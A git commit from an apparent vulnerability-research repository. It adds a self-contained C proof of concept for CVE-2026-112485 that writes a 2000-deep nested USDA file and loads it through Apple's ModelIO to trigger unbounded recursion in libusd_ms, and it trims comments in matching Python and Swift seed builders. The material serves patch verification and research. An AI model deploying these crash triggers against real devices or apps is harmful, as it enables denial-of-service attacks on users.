v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,76 @@
|
||||
// mdl.usda · ModelIO / libusd_ms · USDA declaration nesting · CVE-2026-112485
|
||||
// Unbounded recursion on deeply nested USDA definitions
|
||||
// C twin of the Swift POC: builds the 2000-deep Xform USDA and loads it through
|
||||
// MDLAsset (objc runtime casts; libusd_ms runs underneath ModelIO).
|
||||
// Build: clang -O2 -o cve-2026-112485 CVE-2026-112485.c -framework ModelIO -framework CoreFoundation -lobjc
|
||||
// Run: ./cve-2026-112485 [depth]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <objc/runtime.h>
|
||||
#include <objc/message.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
// ── seed construction (from CVE-2026-112485.py: build_usda) ──
|
||||
static char *build_usda(int depth, size_t *out_n) {
|
||||
// head + 'def Xform "nI" {' * depth + '}' * depth + newline
|
||||
const char *head = "#usda 1.0\n\n";
|
||||
size_t open_len = strlen("def Xform \"n0000\" {");
|
||||
size_t head_n = strlen(head);
|
||||
size_t body_n = (size_t)depth * open_len;
|
||||
size_t tail_n = (size_t)depth;
|
||||
char *out = malloc(head_n + body_n + tail_n + 2);
|
||||
size_t n = 0;
|
||||
memcpy(out, head, head_n); n = head_n;
|
||||
for (int i = 0; i < depth; i++) {
|
||||
n += (size_t)snprintf(out + n, open_len + 1, "def Xform \"n%d\" {", i);
|
||||
}
|
||||
memset(out + n, '}', (size_t)depth); n += (size_t)depth;
|
||||
out[n++] = '\n';
|
||||
out[n] = 0;
|
||||
*out_n = n;
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: MDLAsset(url:) + count (objc_msgSend casts, arm64) ──
|
||||
static id (*msg_id)(id, SEL); // alloc
|
||||
static id (*msg_id_url)(id, SEL, CFURLRef); // initWithURL:
|
||||
static unsigned long (*msg_ul)(id, SEL); // count
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int depth = argc > 1 ? atoi(argv[1]) : 2000;
|
||||
|
||||
msg_id = (id (*)(id, SEL))objc_msgSend;
|
||||
msg_id_url = (id (*)(id, SEL, CFURLRef))objc_msgSend;
|
||||
msg_ul = (unsigned long (*)(id, SEL))objc_msgSend;
|
||||
|
||||
size_t n = 0;
|
||||
char *usda = build_usda(depth, &n);
|
||||
FILE *f = fopen("deep_nest.usda", "wb");
|
||||
if (f) { fwrite(usda, 1, n, f); fclose(f); }
|
||||
printf("USDA %zu B · %d levels of nesting\n", n, depth);
|
||||
|
||||
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
|
||||
CFSTR("deep_nest.usda"), kCFURLPOSIXPathStyle, false);
|
||||
|
||||
Class mdlAsset = objc_getClass("MDLAsset");
|
||||
if (!mdlAsset) { printf("MDLAsset class unavailable\n"); return 1; }
|
||||
|
||||
clock_t t0 = clock();
|
||||
id asset = msg_id_url(msg_id((id)mdlAsset, sel_registerName("alloc")),
|
||||
sel_registerName("initWithURL:"), url);
|
||||
double ms = (double)(clock() - t0) / CLOCKS_PER_SEC * 1000.0;
|
||||
|
||||
if (!asset) {
|
||||
printf("CVE-2026-112485 · MDLAsset returned nil after %.0f ms\n", ms);
|
||||
} else {
|
||||
unsigned long count = msg_ul(asset, sel_registerName("count"));
|
||||
printf("CVE-2026-112485 · MDLAsset load complete %.0f ms, objects %lu\n", ms, count);
|
||||
}
|
||||
printf("seed: deep_nest.usda · libusd_ms caps nesting in 24.1.32, 27.0 recurses unbounded\n");
|
||||
CFRelease(url);
|
||||
free(usda);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,23 +1,4 @@
|
||||
#!/usr/bin/env python3
|
||||
# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
|
||||
# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process
|
||||
#
|
||||
# [zh] USDA 声明嵌套深度
|
||||
# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32：经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
|
||||
# 尺寸检查。ModelIO.dylib 自身不含任何修复。
|
||||
#
|
||||
# [en] USDA declaration nesting depth
|
||||
# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
|
||||
# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
|
||||
# itself carries none of the fix.
|
||||
#
|
||||
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
|
||||
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112485.swift
|
||||
# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder
|
||||
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- USDA nesting
|
||||
def build_usda(depth=2000):
|
||||
"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
|
||||
head = "#usda 1.0\n\n"
|
||||
|
||||
@@ -1,24 +1,9 @@
|
||||
// mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
|
||||
// 原语: OOB 读 · 进程内 · tier 2
|
||||
// Primitive: OOB read · in-process · tier 2
|
||||
//
|
||||
// [zh] USDA 声明嵌套深度
|
||||
// Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32：经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
|
||||
// 尺寸检查。ModelIO.dylib 自身不含任何修复。
|
||||
//
|
||||
// [en] USDA declaration nesting depth
|
||||
// The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
|
||||
// Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
|
||||
// itself carries none of the fix.
|
||||
// ── 判别 / oracle ──
|
||||
// 2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝，27.0 递归下去。
|
||||
//
|
||||
// 种子构建器（python，可直接运行）: CVE-2026-112485/CVE-2026-112485.py
|
||||
// runnable python seed builder: CVE-2026-112485/CVE-2026-112485.py
|
||||
|
||||
// USDA declaration nesting depth
|
||||
// Standalone builder: CVE-2026-112485.py
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -40,4 +25,3 @@ enum B {
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user